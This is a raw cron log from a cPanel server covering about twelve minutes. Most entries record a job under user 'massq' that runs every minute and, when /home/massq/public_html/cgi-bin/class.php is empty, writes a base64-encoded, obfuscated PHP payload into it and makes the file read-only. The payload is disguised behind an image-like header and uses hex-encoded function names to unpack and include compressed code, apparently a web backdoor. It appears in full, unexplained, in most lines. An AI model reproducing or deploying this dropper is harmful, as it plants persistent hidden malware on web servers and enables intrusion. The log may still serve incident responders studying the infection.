Nov 14 08:55:01 server CROND[15651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:56:01 server CROND[16558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:57:01 server CROND[17413]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 08:57:01 server CROND[17414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:58:01 server CROND[17911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:59:01 server CROND[18620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:00:01 server CROND[19487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:00:01 server CROND[19489]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov 14 09:00:01 server CROND[19488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:00:01 server CROND[19494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:00:01 server CROND[19490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 09:01:01 server CROND[20431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:01:01 server CROND[20432]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 09:01:01 server run-parts(/etc/cron.hourly)[20432]: starting 0anacron
Nov 14 09:01:01 server run-parts(/etc/cron.hourly)[20444]: finished 0anacron
Nov 14 09:02:01 server CROND[21058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:03:01 server CROND[21771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:04:01 server CROND[22351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:05:01 server CROND[23218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:05:01 server CROND[23219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:05:01 server CROND[23220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:05:01 server CROND[23222]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 09:06:01 server CROND[24163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:07:01 server CROND[25041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
